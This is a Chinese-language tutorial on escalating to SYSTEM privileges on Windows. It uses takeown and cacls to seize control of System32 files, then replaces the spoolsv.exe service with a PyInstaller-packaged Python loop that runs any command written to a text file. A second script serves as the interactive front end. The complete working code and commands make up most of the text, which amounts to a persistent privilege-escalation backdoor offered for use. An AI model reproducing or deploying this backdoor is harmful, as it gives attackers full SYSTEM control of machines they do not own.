通过替换系统文件获取system权限

先打开任务管理器

找到并选择用户名为system权限的文件准备替换，且替换之后系统能正常运行。

我找到spoolsv.exe这个系统程序。

接下来执行命令夺权

打开cmd，要以系统管理权限打开

takeown   /f  C:\Windows\System32\spoolsv.exe

cacls C:\Windows\System32\aitstatic.exe /T /E /G administrators:F
输出：
处理的文件: C:\Windows\System32\aitstatic.exe
拒绝访问。

takeown  /f C:\Windows\System32\spoolsv.exe

获取该文件的所属权

执行cacls C:\Windows\System32\aitstatic.exe /T /E /G administrators:F命令时尽管显示拒绝访问但是奇怪的是还是获取了管理员完全控制权

如果cacls C:\Windows\System32\aitstatic.exe /T /E /G administrators:F没有效果，还可以不用命令行

以WinSAT这个系统文件为例

点左边窗口的编辑会有显示右边的窗口

将这六的用户名的权限都设置为完全控制

点击确定完成编辑

1.py

import os,time
a=''
while True:
    with open('xkj.txt','r') as f:
        b=f.read()
    if b==a:
        q=1
    else:
        re=os.popen(b)
        q1=''
        qw=re.readlines()
        for i in range(len(qw)):
            q1=q1+qw[i]
        with open('xk.txt', 'w') as f:
            f.write(str(q1))
    a=b
    time.sleep(0.1)

然后打包该程序

pyinstaller -F 1.py

将生成的程序重命名为spoolsv.exe

将生成的文件替换掉C:\Windows\System32\spoolsv.exe

并新建C:\Windows\System32\xkj.txt和C:\Windows\System32\xk.txt

重启电脑

执行2.py

2.py

import time
while True:
    with open("C:\\Windows\\System32\\xkj.txt","w") as f:
       f.write(input("<"))
    time.sleep(1)
    with open ("C:\\Windows\\System32\\xk.txt","r") as f:
       a=f.read()
    print (a)

窗口如下

输入命令whoami

显示是system权限

还可以执行其他cmd命令